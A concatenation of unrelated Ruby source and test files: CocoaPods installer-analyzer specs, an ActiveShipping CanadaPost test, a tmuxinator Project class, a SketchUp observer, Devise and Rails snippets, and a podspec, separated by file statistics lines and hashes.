result.targets.flat_map { |at| at.pod_targets_for_build_configuration('Release').map { |pt| "#{at.name}/Release/#{pt.name}" } }.sort.should == [ 'Pods-SampleFramework/Release/monkey', 'Pods-SampleProject/Release/JSONKit', 'Pods-SampleProject/Release/monkey', ].sort end it "copy a framework's pod target, when the framework is in a sub project and is scoped to a configuration" do podfile = Pod::Podfile.new do source SpecHelper.test_repo_url use_frameworks! platform :ios, '8.0' project 'SampleProject/SampleProject' target 'SampleProject' do pod 'JSONKit' end target 'SampleFramework' do project 'SampleProject/Sample Lib/Sample Lib' pod 'monkey', :configurations => ['Debug'] end end analyzer = Pod::Installer::Analyzer.new(config.sandbox, podfile) result = analyzer.analyze result.targets.select { |at| at.name == 'Pods-SampleProject' }.flat_map(&:pod_targets).map(&:name).sort.uniq.should == %w( JSONKit monkey ).sort result.targets.flat_map { |at| at.pod_targets_for_build_configuration('Debug').map { |pt| "#{at.name}/Debug/#{pt.name}" } }.sort.should == [ 'Pods-SampleFramework/Debug/monkey', 'Pods-SampleProject/Debug/JSONKit', 'Pods-SampleProject/Debug/monkey', ].sort result.targets.flat_map { |at| at.pod_targets_for_build_configuration('Release').map { |pt| "#{at.name}/Release/#{pt.name}" } }.sort.should == [ 'Pods-SampleProject/Release/JSONKit', ].sort end it "copy a static library's pod target, when the static library is in a sub project" do podfile = Pod::Podfile.new do source SpecHelper.test_repo_url platform :ios, '8.0' project 'SampleProject/SampleProject' pod 'matryoshka/Bar' target 'SampleProject' do pod 'JSONKit' pod 'matryoshka/Foo' end target 'SampleLib' do project 'SampleProject/Sample Lib/Sample Lib' pod 'monkey' end end analyzer = Pod::Installer::Analyzer.new(config.sandbox, podfile) result = analyzer.analyze result.targets.select { |at| at.name == 'Pods-SampleProject' }.flat_map(&:pod_targets).map(&:name).sort.uniq.should == %w( JSONKit matryoshka-Bar-Foo monkey ).sort result.targets.flat_map { |at| at.pod_targets_for_build_configuration('Debug').map { |pt| "#{at.name}/Debug/#{pt.name}" } }.sort.should == [ 'Pods-SampleLib/Debug/matryoshka-Bar', 'Pods-SampleLib/Debug/monkey', 'Pods-SampleProject/Debug/JSONKit', 'Pods-SampleProject/Debug/matryoshka-Bar-Foo', 'Pods-SampleProject/Debug/monkey', ].sort result.targets.flat_map { |at| at.pod_targets_for_build_configuration('Release').map { |pt| "#{at.name}/Release/#{pt.name}" } }.sort.should == [ 'Pods-SampleLib/Release/matryoshka-Bar', 'Pods-SampleLib/Release/monkey', 'Pods-SampleProject/Release/JSONKit', 'Pods-SampleProject/Release/matryoshka-Bar-Foo', 'Pods-SampleProject/Release/monkey', ].sort end it "copy a static library's pod target, when the static library is in a sub project and is scoped to a configuration" do podfile = Pod::Podfile.new do source SpecHelper.test_repo_url platform :ios, '8.0' project 'SampleProject/SampleProject' target 'SampleProject' do pod 'JSONKit' end target 'SampleLib' do project 'SampleProject/Sample Lib/Sample Lib' pod 'monkey', :configuration => ['Debug'] end end analyzer = Pod::Installer::Analyzer.new(config.sandbox, podfile) result = analyzer.analyze result.targets.select { |at| at.name == 'Pods-SampleProject' }.flat_map(&:pod_targets).map(&:name).sort.uniq.should == %w( JSONKit monkey ).sort result.targets.flat_map { |at| at.pod_targets_for_build_configuration('Debug').map { |pt| "#{at.name}/Debug/#{pt.name}" } }.sort.should == [ 'Pods-SampleLib/Debug/monkey', 'Pods-SampleProject/Debug/JSONKit', 'Pods-SampleProject/Debug/monkey', ].sort result.targets.flat_map { |at| at.pod_targets_for_build_configuration('Release').map { |pt| "#{at.name}/Release/#{pt.name}" } }.sort.should == [ 'Pods-SampleProject/Release/JSONKit', ].sort end it "does not copy a static library's pod target, when the static library aggregate target has search paths inherited" do podfile = Pod::Podfile.new do source SpecHelper.test_repo_url platform :ios, '8.0' target 'SampleLib' do project 'SampleProject/Sample Lib/Sample Lib' pod 'monkey' target 'SampleProject' do inherit! :search_paths project 'SampleProject/SampleProject' pod 'JSONKit' end end end analyzer = Pod::Installer::Analyzer.new(config.sandbox, podfile) result = analyzer.analyze result.targets.flat_map do |aggregate_target| aggregate_target.pod_targets.flat_map { |pt| "#{aggregate_target}/#{pt}" } end.sort.should == [ 'Pods-SampleLib/monkey', 'Pods-SampleProject/JSONKit', ] end it "raises when unable to find an extension's host target" do podfile = Pod::Podfile.new do source SpecHelper.test_repo_url use_frameworks! platform :ios, '8.0' project 'Sample Extensions Project/Sample Extensions Project' target 'Today Extension' do pod 'monkey' end end analyzer = Pod::Installer::Analyzer.new(config.sandbox, podfile) should.raise Informative do analyzer.analyze end.message.should.match /Unable to find host target\(s\) for Today Extension. Please add the host targets for the embedded targets to the Podfile\./ end it 'warns when using a Podfile for framework-only projects' do podfile = Pod::Podfile.new do source SpecHelper.test_repo_url use_frameworks! platform :ios, '8.0' target 'SampleLib' do project 'SampleProject/Sample Lib/Sample Lib' pod 'monkey' end end analyzer = Pod::Installer::Analyzer.new(config.sandbox, podfile) analyzer.analyze UI.warnings.should.match /The Podfile contains framework or static library targets \(SampleLib\), for which the Podfile does not contain host targets \(targets which embed the framework\)\./ end it 'warns when using a Podfile for framework-only projects' do podfile = Pod::Podfile.new do source SpecHelper.test_repo_url use_frameworks! platform :ios, '8.0' target 'SampleFramework' do project 'SampleProject/Sample Lib/Sample Lib' pod 'monkey' end end analyzer = Pod::Installer::Analyzer.new(config.sandbox, podfile) analyzer.analyze UI.warnings.should.match /The Podfile contains framework or static library targets \(SampleFramework\), for which the Podfile does not contain host targets \(targets which embed the framework\)\./ end it 'raises when the extension calls use_frameworks!, but the host target does not' do podfile = Pod::Podfile.new do source SpecHelper.test_repo_url platform :ios, '8.0' project 'Sample Extensions Project/Sample Extensions Project' target 'Sample Extensions Project' do pod 'JSONKit', '1.4' end target 'Today Extension' do use_frameworks! pod 'monkey' end end analyzer = Pod::Installer::Analyzer.new(config.sandbox, podfile) should.raise Informative do analyzer.analyze end.message.should.match /Sample Extensions Project \(false\) and Today Extension \(true\) do not both set use_frameworks!\./ end end #-------------------------------------------------------------------------# describe 'Private helpers' do describe '#sources' do describe 'when there are no explicit sources' do it 'defaults to the master spec repository' do @analyzer.send(:sources).map(&:url).should == ['https://github.com/CocoaPods/Specs.git'] end end describe 'when there are explicit sources' do it 'raises if no specs repo with that URL could be added' do podfile = Podfile.new do source 'not-a-git-repo' pod 'JSONKit', '1.4' end @analyzer.instance_variable_set(:@podfile, podfile) should.raise Informative do @analyzer.send(:sources) end.message.should.match /Unable to add/ end it 'fetches a specs repo that is specified by the podfile' do podfile = Podfile.new do source 'https://github.com/artsy/Specs.git' pod 'JSONKit', '1.4' end @analyzer.instance_variable_set(:@podfile, podfile) config.sources_manager.expects(:find_or_create_source_with_url).once @analyzer.send(:sources) end end end end end describe 'Analysis, concerning naming' do before do SpecHelper.create_sample_app_copy_from_fixture('SampleProject') end it 'raises when dependencies with the same name have different ' \ 'external sources' do podfile = Podfile.new do source 'https://github.com/CocoaPods/Specs.git' project 'SampleProject/SampleProject' platform :ios target 'SampleProject' do pod 'SEGModules', :git => 'https://github.com/segiddins/SEGModules.git' pod 'SEGModules', :git => 'https://github.com/segiddins/Modules.git' end end analyzer = Pod::Installer::Analyzer.new(config.sandbox, podfile, nil) e = should.raise(Informative) { analyzer.analyze } e.message.should.match /different sources for `SEGModules`/ e.message.should.match %r{SEGModules \(from `https://github.com/segiddins/SEGModules.git`\)} e.message.should.match %r{SEGModules \(from `https://github.com/segiddins/Modules.git`\)} end it 'raises when dependencies with the same root name have different ' \ 'external sources' do podfile = Podfile.new do source 'https://github.com/CocoaPods/Specs.git' project 'SampleProject/SampleProject' platform :ios target 'SampleProject' do pod 'RestKit/Core', :git => 'https://github.com/RestKit/RestKit.git' pod 'RestKit', :git => 'https://github.com/segiddins/RestKit.git' end end analyzer = Pod::Installer::Analyzer.new(config.sandbox, podfile, nil) e = should.raise(Informative) { analyzer.analyze } e.message.should.match /different sources for `RestKit`/ e.message.should.match %r{RestKit/Core \(from `https://github.com/RestKit/RestKit.git`\)} e.message.should.match %r{RestKit \(from `https://github.com/segiddins/RestKit.git`\)} end it 'raises when dependencies with the same name have different ' \ 'external sources with one being nil' do podfile = Podfile.new do source 'https://github.com/CocoaPods/Specs.git' project 'SampleProject/SampleProject' platform :ios target 'SampleProject' do pod 'RestKit', :git => 'https://github.com/RestKit/RestKit.git' pod 'RestKit', '~> 0.23.0' end end analyzer = Pod::Installer::Analyzer.new(config.sandbox, podfile, nil) e = should.raise(Informative) { analyzer.analyze } e.message.should.match /different sources for `RestKit`/ e.message.should.match %r{RestKit \(from `https://github.com/RestKit/RestKit.git`\)} e.message.should.match /RestKit \(~> 0.23.0\)/ end end describe 'podfile validation' do before do @sandbox = stub('Sandbox') @podfile = Podfile.new @analyzer = Installer::Analyzer.new(@sandbox, @podfile) end it 'raises when validating errors' do Installer::PodfileValidator.any_instance.expects(:validate) Installer::PodfileValidator.any_instance.expects(:valid?).returns(false) Installer::PodfileValidator.any_instance.stubs(:errors).returns(['ERROR']) should.raise(Informative) { @analyzer.send(:validate_podfile!) }. message.should.match /ERROR/ end it 'warns when validating has warnings' do Installer::PodfileValidator.any_instance.expects(:validate) Installer::PodfileValidator.any_instance.expects(:valid?).returns(true) Installer::PodfileValidator.any_instance.stubs(:warnings).returns(['The Podfile does not contain any dependencies.']) @analyzer.send(:validate_podfile!) UI.warnings.should == "The Podfile does not contain any dependencies.\n" end end describe 'using lockfile checkout options' do before do @podfile = Pod::Podfile.new do target 'SampleProject' do pod 'BananaLib', :git => 'example.com' end end @dependency = @podfile.dependencies.first @lockfile_checkout_options = { :git => 'example.com', :commit => 'commit' } hash = {} hash['PODS'] = ['BananaLib (1.0.0)'] hash['CHECKOUT OPTIONS'] = { 'BananaLib' => @lockfile_checkout_options } hash['SPEC CHECKSUMS'] = {} hash['COCOAPODS'] = Pod::VERSION @lockfile = Pod::Lockfile.new(hash) @analyzer = Pod::Installer::Analyzer.new(config.sandbox, @podfile, @lockfile) end it 'returns that an update is required when there is no sandbox manifest' do @analyzer.sandbox.stubs(:manifest).returns(nil) @analyzer.should.send(:checkout_requires_update?, @dependency) end before do @sandbox_manifest = Pod::Lockfile.new(@lockfile.internal_data.deep_dup) @analyzer.sandbox.stubs(:manifest).returns(@sandbox_manifest) @analyzer.sandbox.stubs(:specification).with('BananaLib').returns(stub) @analyzer.sandbox.stubs(:specification_path).with('BananaLib').returns(stub) pod_dir = stub pod_dir.stubs(:directory?).returns(true) @analyzer.sandbox.stubs(:pod_dir).with('BananaLib').returns(pod_dir) end it 'returns whether or not an update is required' do @analyzer.send(:checkout_requires_update?, @dependency).should == false @sandbox_manifest.send(:checkout_options_data).delete('BananaLib') @analyzer.send(:checkout_requires_update?, @dependency).should == true end it 'uses lockfile checkout options when no source exists in the sandbox' do @sandbox_manifest.send(:checkout_options_data).delete('BananaLib') downloader = stub('DownloaderSource') ExternalSources.stubs(:from_params).with(@lockfile_checkout_options, @dependency, @podfile.defined_in_file, true).returns(downloader) podfile_state = Installer::Analyzer::SpecsState.new podfile_state.unchanged << 'BananaLib' downloader.expects(:fetch) @analyzer.send(:fetch_external_sources, podfile_state) end it 'uses lockfile checkout options when a different checkout exists in the sandbox' do @sandbox_manifest.send(:checkout_options_data)['BananaLib'] = @lockfile_checkout_options.merge(:commit => 'other commit') podfile_state = Installer::Analyzer::SpecsState.new podfile_state.unchanged << 'BananaLib' downloader = stub('DownloaderSource') ExternalSources.stubs(:from_params).with(@lockfile_checkout_options, @dependency, @podfile.defined_in_file, true).returns(downloader) downloader.expects(:fetch) @analyzer.send(:fetch_external_sources, podfile_state) end it 'ignores lockfile checkout options when the podfile state has changed' do podfile_state = Installer::Analyzer::SpecsState.new podfile_state.changed << 'BananaLib' downloader = stub('DownloaderSource') ExternalSources.stubs(:from_params).with(@dependency.external_source, @dependency, @podfile.defined_in_file, true).returns(downloader) downloader.expects(:fetch) @analyzer.send(:fetch_external_sources, podfile_state) end it 'ignores lockfile checkout options when updating selected pods' do podfile_state = Installer::Analyzer::SpecsState.new podfile_state.unchanged << 'BananaLib' @analyzer.stubs(:pods_to_update).returns(:pods => %w(BananaLib)) downloader = stub('DownloaderSource') ExternalSources.stubs(:from_params).with(@dependency.external_source, @dependency, @podfile.defined_in_file, true).returns(downloader) downloader.expects(:fetch) @analyzer.send(:fetch_external_sources, podfile_state) end it 'ignores lockfile checkout options when updating all pods' do podfile_state = Installer::Analyzer::SpecsState.new podfile_state.unchanged << 'BananaLib' @analyzer.stubs(:pods_to_update).returns(true) downloader = stub('DownloaderSource') ExternalSources.stubs(:from_params).with(@dependency.external_source, @dependency, @podfile.defined_in_file, true).returns(downloader) downloader.expects(:fetch) @analyzer.send(:fetch_external_sources, podfile_state) end it 'does not use the cache when the podfile instructs not to clean' do podfile_state = Installer::Analyzer::SpecsState.new podfile_state.unchanged << 'BananaLib' @sandbox_manifest.send(:checkout_options_data).delete('BananaLib') downloader = stub('DownloaderSource') ExternalSources.stubs(:from_params).with(@lockfile_checkout_options, @dependency, @podfile.defined_in_file, false).returns(downloader) downloader.expects(:fetch) @analyzer.installation_options.clean = false @analyzer.send(:fetch_external_sources, podfile_state) end it 'does not re-fetch the external source when the sandbox has the correct revision of the source' do podfile_state = Installer::Analyzer::SpecsState.new podfile_state.unchanged << 'BananaLib' @analyzer.expects(:fetch_external_source).never @analyzer.send(:fetch_external_sources, podfile_state) end end end end
42.962033
268
0.603201
b92b8b4bdb82d4503843513d975f692674b8f860
5,517
require 'test_helper' class CanadaPostTest < Minitest::Test include ActiveShipping::Test::Fixtures def setup login = { login: 'CPC_DEMO_XML' } @carrier = CanadaPost.new(login) @french_carrier = CanadaPost.new(login.merge(french: true)) @request = xml_fixture('canadapost/example_request') @response = xml_fixture('canadapost/example_response') @response_french = xml_fixture('canadapost/example_response_french') @bad_response = xml_fixture('canadapost/example_response_error') @origin = {:address1 => "61A York St", :city => "Ottawa", :province => "ON", :country => "Canada", :postal_code => "K1N 5T2"} @destination = {:city => "Beverly Hills", :state => "CA", :country => "United States", :postal_code => "90210"} @line_items = [Package.new(500, [2, 3, 4], :description => "a box full of stuff", :value => 2500)] end def test_parse_rate_response_french @french_carrier.expects(:ssl_post).returns(@response_french) rate_estimates = @french_carrier.find_rates(@origin, @destination, @line_items) rate_estimates.rates.each do |rate| assert_instance_of RateEstimate, rate assert_instance_of DateTime, rate.delivery_date assert_instance_of DateTime, rate.shipping_date assert_instance_of String, rate.service_name assert_instance_of Fixnum, rate.total_price end rate_estimates.boxes.each do |box| assert_instance_of CanadaPost::Box, box assert_instance_of String, box.name assert_instance_of Float, box.weight assert_instance_of Float, box.expediter_weight assert_instance_of Float, box.length assert_instance_of Float, box.height assert_instance_of Float, box.width box.packedItems.each do |p| assert_instance_of Fixnum, p.quantity assert_instance_of String, p.description end end end def test_build_rate_request @carrier.expects(:commit).with(@request, @origin, @destination, {}) @carrier.find_rates(@origin, @destination, @line_items) end def test_parse_rate_response @carrier.expects(:ssl_post).returns(@response) rate_estimates = @carrier.find_rates(@origin, @destination, @line_items) rate_estimates.rates.each do |rate| assert_instance_of RateEstimate, rate assert_instance_of DateTime, rate.delivery_date assert_instance_of DateTime, rate.shipping_date assert_instance_of String, rate.service_name assert_instance_of Fixnum, rate.total_price end rate_estimates.boxes.each do |box| assert_instance_of CanadaPost::Box, box assert_instance_of String, box.name assert_instance_of Float, box.weight assert_instance_of Float, box.expediter_weight assert_instance_of Float, box.length assert_instance_of Float, box.height assert_instance_of Float, box.width box.packedItems.each do |p| assert_instance_of Fixnum, p.quantity assert_instance_of String, p.description end end end def test_non_success_parse_rate_response @carrier.expects(:ssl_post).returns(@bad_response) error = assert_raises(ActiveShipping::ResponseError) do @carrier.find_rates(@origin, @destination, @line_items) end assert_equal 'Parcel too heavy to be shipped with CPC.', error.message end def test_turn_around_time @carrier.expects(:commit).with do |request, _options| parsed_request = Hash.from_xml(request) parsed_request['eparcel']['ratesAndServicesRequest']['turnAroundTime'] == "0" end @carrier.find_rates(@origin, @destination, @line_items, :turn_around_time => 0) end def test_build_line_items line_items_xml = Nokogiri::XML::Builder.new do |xml| @carrier.send(:build_line_items, xml, @line_items) end assert_instance_of Nokogiri::XML::Builder, line_items_xml assert_equal "a box full of stuff", line_items_xml.doc.at_xpath('//description').text assert_equal "0.5", line_items_xml.doc.at_xpath('//weight').text end def test_non_iso_country_names @destination[:country] = 'RU' @carrier.expects(:ssl_post).with(anything, regexp_matches(%r{<country>Russia</country>})).returns(@response) @carrier.find_rates(@origin, @destination, @line_items) end def test_delivery_range_based_on_delivery_date @carrier.expects(:ssl_post).returns(@response) rate_estimates = @carrier.find_rates(@origin, @destination, @line_items) delivery_date = Date.new(2010, 8, 4) assert_equal [delivery_date] * 2, rate_estimates.rates[0].delivery_range assert_equal [delivery_date] * 2, rate_estimates.rates[1].delivery_range assert_equal [delivery_date + 2.days] * 2, rate_estimates.rates[2].delivery_range end def test_delivery_range_with_invalid_date @response = xml_fixture('canadapost/example_response_with_strange_delivery_date') @carrier.expects(:ssl_post).returns(@response) rate_estimates = @carrier.find_rates(@origin, @destination, @line_items) assert_equal [], rate_estimates.rates[0].delivery_range end def test_line_items_with_nil_values @response = xml_fixture('canadapost/example_response_with_nil_value') @carrier.expects(:ssl_post).returns(@response) @line_items << Package.new(500, [2, 3, 4], :description => "another box full of stuff", :value => nil) rate_response = @carrier.find_rates(@origin, @destination, @line_items) assert rate_response.rates.length > 0, "Expecting rateestimates even without a value specified." end end
38.048276
134
0.730651
e98bfee0732c15b3d11049125ac575c31a32273d
883
# Configure Rails Environment ENV['RAILS_ENV'] = 'test' require File.expand_path('../test/dummy/config/environment.rb', __dir__) ActiveRecord::Migrator.migrations_paths = [File.expand_path('../test/dummy/db/migrate', __dir__)] ActiveRecord::Migrator.migrations_paths << File.expand_path('../db/migrate', __dir__) require 'rails/test_help' # Filter out Minitest backtrace while allowing backtrace from other libraries # to be shown. Minitest.backtrace_filter = Minitest::BacktraceFilter.new # Load fixtures from the engine if ActiveSupport::TestCase.respond_to?(:fixture_path=) ActiveSupport::TestCase.fixture_path = File.expand_path('fixtures', __dir__) ActionDispatch::IntegrationTest.fixture_path = ActiveSupport::TestCase.fixture_path ActiveSupport::TestCase.file_fixture_path = ActiveSupport::TestCase.fixture_path + '/files' ActiveSupport::TestCase.fixtures :all end
44.15
97
0.798414
e9d81ab0c75d9826a08cd7bd8639310c656ca950
75
require 'sergio_torres_gem/version' require 'sergio_torres_gem/renderer'
15
36
0.84
87d1a7cc72c65f9af27c3617f387e0ae5a7a9a5e
518
# frozen_string_literal: true # Serializer to expose attributes for Vector Features. class VectorFeatureSerializer < ActiveModel::Serializer attributes :id, :tmp_type, :properties, :geojson, :filters, :name, :description, :images, :image, :youtube, :vimeo, :audio, :feature_id, :color_name, :color_hex, :layer_title end
23.545455
55
0.480695
5d9109fa662adad63624337fca128172f6c74adb
604
Pod::Spec.new do |s| s.name = "RNXendit" s.version = "1.0.0" s.summary = "RNXendit" s.description = <<-DESC RNXendit DESC s.homepage = "" s.license = "MIT" # s.license = { :type => "MIT", :file => "FILE_LICENSE" } s.author = { "author" => "[email protected]" } s.platform = :ios, "7.0" s.source = { :git => "https://github.com/author/RNXendit.git", :tag => "master" } s.source_files = "RNXendit/**/*.{h,m}" s.requires_arc = true s.dependency "React" #s.dependency "others" end
25.166667
89
0.495033
18504c01819a63f709b0f55af6465f2acc631072
863
module DeviseHelper # A simple way to show error messages for the current devise resource. If you need # to customize this method, you can either overwrite it in your application helpers or # copy the views to your application. # # This method is intended to stay simple and it is unlikely that we are going to change # it to add more behavior or options. def devise_error_messages! return "" if resource.errors.empty? messages = resource.errors.full_messages.map { |msg| content_tag(:li, msg) }.join sentence = I18n.t("errors.messages.not_saved", :count => resource.errors.count, :resource => resource.class.model_name.human.downcase) html = <<-HTML <div id="error_explanation"> <h2>#{sentence}</h2> <ul>#{messages}</ul> </div> HTML html.html_safe end end
34.52
89
0.66628
38ed1367c5b013ab5056bc4e3c188257f9edca67
5,552
module Tmuxinator class Project include Tmuxinator::Util include Tmuxinator::Deprecations include Tmuxinator::WemuxSupport RBENVRVM_DEP_MSG = <<-M DEPRECATION: rbenv/rvm-specific options have been replaced by the pre_tab option and will not be supported in 0.8.0. M TABS_DEP_MSG = <<-M DEPRECATION: The tabs option has been replaced by the windows option and will not be supported in 0.8.0. M CLIARGS_DEP_MSG = <<-M DEPRECATION: The cli_args option has been replaced by the tmux_options option and will not be supported in 0.8.0. M attr_reader :yaml attr_reader :force_attach attr_reader :force_detach attr_reader :custom_name def self.load(path, options = {}) yaml = begin raw_content = File.read(path) content = Erubis::Eruby.new(raw_content).result(binding) YAML.load(content) rescue SyntaxError, StandardError raise "Failed to parse config file. Please check your formatting." end new(yaml, options) end def validate! raise "Your project file should include some windows." \ unless self.windows? raise "Your project file didn't specify a 'project_name'" \ unless self.name? self end def initialize(yaml, options = {}) options[:force_attach] = false if options[:force_attach].nil? options[:force_detach] = false if options[:force_detach].nil? @yaml = yaml @custom_name = options[:custom_name] @force_attach = options[:force_attach] @force_detach = options[:force_detach] raise "Cannot force_attach and force_detach at the same time" \ if @force_attach && @force_detach load_wemux_overrides if wemux? end def render template = File.read(Tmuxinator::Config.template) Erubis::Eruby.new(template).result(binding) end def windows windows_yml = yaml["tabs"] || yaml["windows"] @windows ||= (windows_yml || {}).map.with_index do |window_yml, index| Tmuxinator::Window.new(window_yml, index, self) end end def root root = yaml["project_root"] || yaml["root"] root.blank? ? nil : File.expand_path(root).shellescape end def name name = custom_name || yaml["project_name"] || yaml["name"] name.blank? ? nil : name.to_s.shellescape end def pre pre_config = yaml["pre"] if pre_config.is_a?(Array) pre_config.join("; ") else pre_config end end def attach? if yaml["attach"].nil? yaml_attach = true else yaml_attach = yaml["attach"] end attach = force_attach || !force_detach && yaml_attach attach end def pre_window if rbenv? "rbenv shell #{yaml['rbenv']}" elsif rvm? "rvm use #{yaml['rvm']}" elsif pre_tab? yaml["pre_tab"] else yaml["pre_window"] end end def post post_config = yaml["post"] if post_config.is_a?(Array) post_config.join("; ") else post_config end end def tmux "#{tmux_command}#{tmux_options}#{socket}" end def tmux_command yaml["tmux_command"] || "tmux" end def socket if socket_path " -S #{socket_path}" elsif socket_name " -L #{socket_name}" end end def socket_name yaml["socket_name"] end def socket_path yaml["socket_path"] end def tmux_options if cli_args? " #{yaml['cli_args'].to_s.strip}" elsif tmux_options? " #{yaml['tmux_options'].to_s.strip}" else "" end end def base_index get_pane_base_index ? get_pane_base_index.to_i : get_base_index.to_i end def startup_window yaml["startup_window"] || base_index end def tmux_options? yaml["tmux_options"] end def windows? windows.any? end def root? !root.nil? end def name? !name.nil? end def window(i) "#{name}:#{i}" end def send_pane_command(cmd, window_index, _pane_index) if cmd.empty? "" else "#{tmux} send-keys -t #{window(window_index)} #{cmd.shellescape} C-m" end end def send_keys(cmd, window_index) if cmd.empty? "" else "#{tmux} send-keys -t #{window(window_index)} #{cmd.shellescape} C-m" end end def deprecations deprecations = [] deprecations << RBENVRVM_DEP_MSG if yaml["rbenv"] || yaml["rvm"] deprecations << TABS_DEP_MSG if yaml["tabs"] deprecations << CLIARGS_DEP_MSG if yaml["cli_args"] deprecations end def get_pane_base_index tmux_config["pane-base-index"] end def get_base_index tmux_config["base-index"] end def show_tmux_options "#{tmux} start-server\\; show-option -g" end def tmux_new_session_command window = windows.first.tmux_window_name_option "#{tmux} new-session -d -s #{name} #{window}" end private def tmux_config @tmux_config ||= extract_tmux_config end def extract_tmux_config options_hash = {} options_string = `#{show_tmux_options}` options_string.encode!("UTF-8", invalid: :replace) options_string.split("\n").map do |entry| key, value = entry.split("\s") options_hash[key] = value options_hash end options_hash end end end
22.297189
77
0.605548
1dc080dc3d5359ba7f44eafade4ede8b06d8a4e8
80
module Rmp class Engine < ::Rails::Engine isolate_namespace Rmp end end
13.333333
32
0.7125
01e663853bada7488d30f8c50e9eb6a286d9f037
4,742
######################################################################################################################## # OpenStudio(R), Copyright (c) 2008-2017, Alliance for Sustainable Energy, LLC. All rights reserved. # # Redistribution and use in source and binary forms, with or without modification, are permitted provided that the # following conditions are met: # # (1) Redistributions of source code must retain the above copyright notice, this list of conditions and the following # disclaimer. # # (2) Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the # following disclaimer in the documentation and/or other materials provided with the distribution. # # (3) Neither the name of the copyright holder nor the names of any contributors may be used to endorse or promote # products derived from this software without specific prior written permission from the respective party. # # (4) Other than as required in clauses (1) and (2), distributions in any form of modifications or other derivative # works may not use the "OpenStudio" trademark, "OS", "os", or any other confusingly similar designation without # specific prior written permission from Alliance for Sustainable Energy, LLC. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, # INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE # DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER, THE UNITED STATES GOVERNMENT, OR ANY CONTRIBUTORS BE LIABLE FOR # ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, # PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED # AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ######################################################################################################################## module OpenStudio class ShadowInfoObserver < Sketchup::ShadowInfoObserver def initialize(drawing_interface) @drawing_interface = drawing_interface # This is the Building or Site drawing interface @shadow_info = @drawing_interface.model_interface.skp_model.shadow_info @north_angle = @shadow_info.north_angle @shadow_time = @shadow_info.time @enabled = false end def disable was_enabled = @enabled @enabled = false return was_enabled end def enable @enabled = true end def destroy @drawing_interface = nil @shadow_info = nil @north_angle = nil @shadow_time = nil @enabled = false end def onShadowInfoChanged(shadow_info, arg2) Plugin.log(OpenStudio::Trace, "#{current_method_name}, @enabled = #{@enabled}") return if not @enabled # arg2 is a flag that returns 1 when shadows are displayed. proc = Proc.new { # check if model has a site, there is no Site object in the default template # to avoid setting the location by default if not @drawing_interface.model_interface.site site = Site.new site.create_entity site.create_model_object site.update_model_object site.add_watcher site.add_observers end # Turn on Daylight Saving Time. Appears that SketchUp does not automatically turn it on. if (@shadow_info.time.dst?) @shadow_info['DaylightSavings'] = true else @shadow_info['DaylightSavings'] = false end # does not call paint @drawing_interface.on_change_entity if (@drawing_interface.class == Site) # Only repaint if shadow_time has changed if (@shadow_time != @shadow_info.time) @shadow_time = @shadow_info.time if (@drawing_interface.model_interface.materials_interface.rendering_mode == RenderByDataValue) @drawing_interface.model_interface.request_paint end end elsif (@drawing_interface.class == Building) # Only repaint if north_angle has changed if (@north_angle != @shadow_info.north_angle) @north_angle = @shadow_info.north_angle @drawing_interface.model_interface.request_paint end end } # Proc Plugin.add_event( proc ) end end end
39.516667
120
0.654154
26c68e3770d15968afa6d462abe21646f2a32382
845
class User < ActiveRecord::Base # Include default devise modules. Others available are: # :confirmable, :lockable, :timeoutable and :omniauthable devise :database_authenticatable, :registerable, :recoverable, :rememberable, :trackable, :validatable has_many :articles before_save { self.email = email.downcase } validates :first_name, :last_name, presence: true validates :password, presence: true, length: { minimum: 6 } VALID_EMAIL_REGEX = /\A[\w+\-.]+@[a-z\d\-.]+\.[a-z]+\z/i validates :email, presence: true, length: { maximum: 255 }, format: { with: VALID_EMAIL_REGEX }, uniqueness: { case_sensitive: false } before_save :concat_full_name def concat_full_name self.full_name = self.first_name + ' ' + self.last_name end def admin? self.admin end end
31.296296
62
0.672189
abc8e9649016a6a8a46466b7ab6347b26f976914
338
class OrganizationResource < JSONAPI::Resource include ResponseEncryption::EncryptAttributes # # Attribtues # attribute :tax_number attribute :name attribute :address attribute :post_code attribute :phone_number attribute :email encrypted_attrs :tax_number, :name, :phone_number, :post_code, :email, :address end
19.882353
81
0.763314
5de5d2dbd450f9bca58ba9930953f070564ecf56
1,696
describe 'Superhosting::Controller::Admin (cli)' do include SpecHelpers::Controller::User include SpecHelpers::Controller::Container include SpecHelpers::Controller::Admin def add_admin admin_add_with_exps(name: @admin_name, generate: true) end def add_admin_container add_admin container_add(name: @container_name) admin_container_add(name: @container_name) end it 'admin add' do expect { cli('admin', 'add', '-g', @admin_name) }.to_not raise_error end it 'admin delete' do add_admin expect { cli('admin', 'delete', @admin_name) }.to_not raise_error end it 'admin list' do add_admin_container expect { cli('admin', 'list') }.to_not raise_error expect { cli('admin', 'list', '--json') }.to_not raise_error end it 'admin passwd' do add_admin expect { cli('admin', 'passwd', '-g', @admin_name) }.to_not raise_error end it 'admin container add' do with_admin do |admin_name| with_container do |container_name| expect { cli('admin', 'container', 'add', container_name, '-a', admin_name) }.to_not raise_error end end end it 'admin container delete' do with_admin do |admin_name| with_container do |container_name| cli('admin', 'container', 'add', container_name, '-a', admin_name) expect { cli('admin', 'container', 'delete', container_name, '-a', admin_name) }.to_not raise_error end end end it 'admin container list' do add_admin_container expect { cli('admin', 'container', 'list', '-a', @admin_name) }.to_not raise_error expect { cli('admin', 'container', 'list', '-a', @admin_name, '--json') }.to_not raise_error end end
28.745763
107
0.668632
11308a6d6c802e0c9ff4d7428c9eb50b4c46a368
2,358
